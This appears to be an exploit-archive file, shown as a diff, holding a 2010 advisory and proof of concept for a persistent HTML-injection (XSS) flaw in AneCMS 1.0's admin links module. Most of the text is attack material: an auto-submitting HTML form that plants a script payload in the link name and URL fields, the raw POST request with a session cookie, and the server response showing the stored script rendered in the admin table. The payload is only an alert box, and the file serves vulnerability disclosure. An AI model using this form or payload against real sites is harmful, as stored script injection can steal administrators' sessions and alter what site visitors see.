|
| 1 | +source: http://www.securityfocus.com/bid/38657/info |
| 2 | + |
| 3 | +AneCMS is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input. |
| 4 | + |
| 5 | +Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. |
| 6 | + |
| 7 | +AneCMS 1.0 is vulnerable; other versions may also be affected. |
| 8 | + |
| 9 | + ======================================================================= |
| 10 | + |
| 11 | + ANE CMS 1 Persistent XSS Vulnerability |
| 12 | + |
| 13 | + ======================================================================= |
| 14 | + |
| 15 | + by |
| 16 | + |
| 17 | + Pratul Agrawal |
| 18 | + |
| 19 | + |
| 20 | + |
| 21 | + # Vulnerability found in- Admin module |
| 22 | + |
| 23 | + # email Pratulag@yahoo.com |
| 24 | + |
| 25 | + # company aksitservices |
| 26 | + |
| 27 | + # Credit by Pratul Agrawal |
| 28 | + |
| 29 | + # Software ANE CMS 1 |
| 30 | + |
| 31 | + # Category CMS / Portals |
| 32 | + |
| 33 | + # Plateform php |
| 34 | + |
| 35 | + |
| 36 | + |
| 37 | + # Proof of concept # |
| 38 | + |
| 39 | + Targeted URL: http://server/acp/index.php?p=cfg&m=links |
| 40 | + |
| 41 | + |
| 42 | + In ADD LINKS Field provide the malicious script to store in the Database. |
| 43 | + |
| 44 | + That is- |
| 45 | + |
| 46 | + <html> |
| 47 | + |
| 48 | + <body> |
| 49 | + |
| 50 | + <form name="XYZ" action="http://server/acp/index.php?p=cfg&m=links&id=0" method="post"> |
| 51 | + |
| 52 | + <input type=hidden name="name" value=""><script>alert("XSS")</script>"> |
| 53 | + |
| 54 | + <input type=hidden name="link" value=""><script>alert("XSS")</script>"> |
| 55 | + |
| 56 | + <input type=hidden name="type" value="1"> |
| 57 | + |
| 58 | + <input type=hidden name="view" value="0"> |
| 59 | + |
| 60 | + </form> |
| 61 | + |
| 62 | + <script> |
| 63 | + |
| 64 | + document.XYZ.submit(); |
| 65 | + |
| 66 | + </script> |
| 67 | + |
| 68 | + </body> |
| 69 | + |
| 70 | + </html> |
| 71 | + |
| 72 | + |
| 73 | + ======================================================================= |
| 74 | + Request - |
| 75 | + ======================================================================= |
| 76 | + POST /acp/index.php?p=cfg&m=links&id=0 HTTP/1.1 |
| 77 | + Host: server |
| 78 | + User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 |
| 79 | + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 |
| 80 | + Accept-Language: en-us,en;q=0.5 |
| 81 | + Accept-Encoding: gzip,deflate |
| 82 | + Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 |
| 83 | + Keep-Alive: 300 |
| 84 | + Proxy-Connection: keep-alive |
| 85 | + Referer: http://server/acp/index.php?p=cfg&m=links |
| 86 | + Cookie: PHPSESSID=200fecb6b36334b983ebe251d11a5df9 |
| 87 | + Content-Type: application/x-www-form-urlencoded |
| 88 | + Content-Length: 41 |
| 89 | + |
| 90 | + name="><script>alert("XSS")</script>&link="><script>alert("XSS")</script>&type=1&view=0 |
| 91 | + |
| 92 | + ======================================================================= |
| 93 | + ======================================================================= |
| 94 | + Response- |
| 95 | + ======================================================================= |
| 96 | + HTTP/1.1 200 OK |
| 97 | + Date: Thu, 11 Mar 2010 06:59:03 GMT |
| 98 | + Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g |
| 99 | + Expires: Thu, 19 Nov 1981 08:52:00 GMT |
| 100 | + Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 |
| 101 | + Pragma: no-cache |
| 102 | + Vary: Accept-Encoding |
| 103 | + Content-Type: text/html; charset: utf-8 |
| 104 | + Content-Length: 7771 |
| 105 | + |
| 106 | +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> |
| 107 | +<html xmlns="http://www.w3.org/1999/xhtml"> |
| 108 | +<head> |
| 109 | +<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> |
| 110 | +<title>Transdmin Light</title> |
| 111 | + |
| 112 | +<!-- CSS --> |
| 113 | +<link href="./skins/aaa/css/transdmin.css" rel="stylesheet" type="text/css" media="screen" /> |
| 114 | +<!--[if IE 6]><link rel="stylesheet" type="text/css" media="screen" href="./skins/aaa/css/ie6.css" /><![endif]--> |
| 115 | +<!--[if IE 7]><link rel="stylesheet" type="text/css" media="screen" href="./skins/aaa/css/ie7.css" /><![endif]--> |
| 116 | + |
| 117 | +<!-- JavaScripts--> |
| 118 | +<link rel="stylesheet" type="text/css" href="http://server/system/js/jquery.jgrowl.css" media="screen"/> <script type="text/javascript" src="http://server/system/js/jquery-1.3.2.min.js"></script><script type="text/javascript" src="http://server/system/js/jquery.jgrowl_minimized.js"></script> |
| 119 | +<style>div.jGrowl div.green { |
| 120 | +background-color: #00D400; |
| 121 | +color: navy; |
| 122 | + }</style> |
| 123 | +</head> |
| 124 | + |
| 125 | +<body> |
| 126 | + |
| 127 | + <div id="wrapper"> |
| 128 | + <!-- h1 tag stays for the logo, you can use the a tag for linking the index page --> |
| 129 | + <h1><a href="#"><span>Administration</span></a></h1> |
| 130 | + |
| 131 | + <!-- You can name the links with lowercase, they will be transformed to uppercase by CSS, we prefered to name them with uppercase to have the same effect with disabled stylesheet --> |
| 132 | + <ul id="mainNav"> |
| 133 | + <li><a href="index.php">Dashboard</a></li> |
| 134 | + <li><a href="?p=cfg">Configuration</a></li> |
| 135 | + <li><a href="?p=tpl">Design</a></li> |
| 136 | + <li><a href="?p=mod">Modules</a></li> |
| 137 | + <li class="logout"><a href="#">Logout Admin</a></li> |
| 138 | + <li class="logout"><a href="../index.php">CMS</a></li> |
| 139 | + </ul> |
| 140 | + <!-- // #end mainNav --> |
| 141 | + |
| 142 | + <div id="containerHolder"> |
| 143 | + <div id="container"> |
| 144 | + <div id="sidebar"> |
| 145 | + |
| 146 | + <ul class="sideNav"> |
| 147 | + <li><a href="?p=cfg">Show Setting</a></li> |
| 148 | + <li><a href="?p=cfg&m=mod">Modify Setting</a></li> |
| 149 | + <li><a href="?p=cfg&m=links">Links Management</a></li> |
| 150 | + <li><a href="?p=cfg&m=reposerver">Repository Server</a></li> |
| 151 | + </ul> |
| 152 | + |
| 153 | + </div> |
| 154 | + |
| 155 | + <h2><a href="#">Configuration</a> � <a href="#" class="active">Links</a></h2> |
| 156 | + |
| 157 | + <div id="main"><br> |
| 158 | + |
| 159 | + <form action="?p=cfg&m=links&id=0" class="jNice" method="POST"> |
| 160 | + |
| 161 | +<h3>Aggiungi un nuovo Link</h3> |
| 162 | + <fieldset><p><label>Nome link:</label><input type="text" class="text-long" name="name" value=""/></p> |
| 163 | + <p><label>Nome link:</label><input type="text" class="text-long" name="link" value=""/></p> |
| 164 | +<p><label>Tipo Link:</label><input type="radio" name="type" value="1" checked>Barra Links <input type="radio" name="type" value="2">Menu Links</p> |
| 165 | + |
| 166 | +<p><label>Accesso:</label> |
| 167 | + <select name="view"> |
| 168 | + <option value="0">Visible only to guests</option> |
| 169 | + <option value="1">Visible to all</option> |
| 170 | + <option value="2">Visible only to members</option> |
| 171 | + <option value="3">Visible only to admins</option> |
| 172 | + </select> |
| 173 | + </p> |
| 174 | + |
| 175 | + <input type="submit" value="Send" /> |
| 176 | +</fieldset> |
| 177 | + </form> |
| 178 | + |
| 179 | +<table cellpadding="0" cellspacing="0"> |
| 180 | + <tr> |
| 181 | + <td>Name</td> |
| 182 | + <td>Link</td> |
| 183 | + |
| 184 | + <td>Options</td> |
| 185 | + </tr> |
| 186 | + <tr><td colspan="4">Bar Links</td></tr> |
| 187 | + <tr class="odd"> |
| 188 | + <td>Home</td> |
| 189 | + <td>index.php</td> |
| 190 | + |
| 191 | + <td><a href="?p=cfg&m=links&a=modify&id=1">Modify</a> <a href="?p=cfg&m=links&a=delete&id=1">Delete</a> <a href="?p=cfg&m=links&a=move&type=down&id=1">Move Down</a></td> |
| 192 | + </tr> |
| 193 | + <tr class="odd"> |
| 194 | + <td>Blog</td> |
| 195 | + <td>blog</td> |
| 196 | + |
| 197 | + <td><a href="?p=cfg&m=links&a=modify&id=2">Modify</a> <a href="?p=cfg&m=links&a=delete&id=2">Delete</a> <a href="?p=cfg&m=links&a=move&type=up&id=2">Move up</a> <a href="?p=cfg&m=links&a=move&type=down&id=2">Move Down</a></td> |
| 198 | + </tr> |
| 199 | + <tr class="odd"> |
| 200 | + <td>Registrati</td> |
| 201 | + <td>register</td> |
| 202 | + |
| 203 | + <td><a href="?p=cfg&m=links&a=modify&id=4">Modify</a> <a href="?p=cfg&m=links&a=delete&id=4">Delete</a> <a href="?p=cfg&m=links&a=move&type=up&id=4">Move up</a> <a href="?p=cfg&m=links&a=move&type=down&id=4">Move Down</a></td> |
| 204 | + </tr> |
| 205 | + <tr class="odd"> |
| 206 | + <td>ACP</td> |
| 207 | + <td>acp</td> |
| 208 | + |
| 209 | + <td><a href="?p=cfg&m=links&a=modify&id=5">Modify</a> <a href="?p=cfg&m=links&a=delete&id=5">Delete</a> <a href="?p=cfg&m=links&a=move&type=up&id=5">Move up</a> <a href="?p=cfg&m=links&a=move&type=down&id=5">Move Down</a></td> |
| 210 | + </tr> |
| 211 | + <tr class="odd"> |
| 212 | + <td>Widgets</td> |
| 213 | + <td>index.php?modifywidgets</td> |
| 214 | + |
| 215 | + <td><a href="?p=cfg&m=links&a=modify&id=6">Modify</a> <a href="?p=cfg&m=links&a=delete&id=6">Delete</a> <a href="?p=cfg&m=links&a=move&type=up&id=6">Move up</a> <a href="?p=cfg&m=links&a=move&type=down&id=6">Move Down</a></td> |
| 216 | + </tr> |
| 217 | + <tr class="odd"> |
| 218 | + <td>master</td> |
| 219 | + <td>master.asp</td> |
| 220 | + |
| 221 | + <td><a href="?p=cfg&m=links&a=modify&id=38">Modify</a> <a href="?p=cfg&m=links&a=delete&id=38">Delete</a> <a href="?p=cfg&m=links&a=move&type=up&id=38">Move up</a> <a href="?p=cfg&m=links&a=move&type=down&id=38">Move Down</a></td> |
| 222 | + </tr> |
| 223 | + <tr class="odd"> |
| 224 | + <td>"><script>alert("XSS")</script></td> |
| 225 | + <td>"><script>alert("XSS")</script></td> |
| 226 | + |
| 227 | + <td><a href="?p=cfg&m=links&a=modify&id=39">Modify</a> <a href="?p=cfg&m=links&a=delete&id=39">Delete</a> <a href="?p=cfg&m=links&a=move&type=up&id=39">Move up</a> <a href="?p=cfg&m=links&a=move&type=down&id=39">Move Down</a></td> |
| 228 | + </tr> |
| 229 | + <tr><td colspan="4">Menu Links</td></tr> |
| 230 | + <tr class="odd"> |
| 231 | + <td>home</td> |
| 232 | + <td>index.php</td> |
| 233 | + |
| 234 | + <td><a href="?p=cfg&m=links&a=modify&id=14">Modify</a> <a href="?p=cfg&m=links&a=delete&id=14">Delete</a> <a href="?p=cfg&m=links&a=move&type=up&id=14">Move up</a> <a href="?p=cfg&m=links&a=move&type=down&id=14">Move Down</a></td> |
| 235 | + </tr> |
| 236 | + <tr class="odd"> |
| 237 | + <td>Blog</td> |
| 238 | + <td>blog</td> |
| 239 | + |
| 240 | + <td><a href="?p=cfg&m=links&a=modify&id=19">Modify</a> <a href="?p=cfg&m=links&a=delete&id=19">Delete</a> <a href="?p=cfg&m=links&a=move&type=up&id=19">Move up</a> <a href="?p=cfg&m=links&a=move&type=down&id=19">Move Down</a></td> |
| 241 | + </tr> |
| 242 | + </table> |
| 243 | +<br /> |
| 244 | +</div> |
| 245 | + |
| 246 | + |
| 247 | + <!-- // #main --> |
| 248 | + |
| 249 | + <div class="clear"></div> |
| 250 | + </div> |
| 251 | + <!-- // #container --> |
| 252 | + </div> |
| 253 | + <!-- // #containerHolder --> |
| 254 | + |
| 255 | + <p id="footer">Feel free to use and customize it. <a href="http://server">Credit is appreciated.</a></p> |
| 256 | + </div> |
| 257 | + <!-- // #wrapper --> |
| 258 | + |
| 259 | + <script type="text/javascript"> |
| 260 | + $(function() |
| 261 | + { |
| 262 | + });</script> |
| 263 | +</body> |
| 264 | +</html> |
| 265 | + |
| 266 | + |
| 267 | +======================================================================= |
| 268 | + |
| 269 | + |
| 270 | + After completion Just Refres the page and the script get executed again and again. |
| 271 | + |
| 272 | + |
| 273 | + #If you have any questions, comments, or concerns, feel free to contact me. |
0 commit comments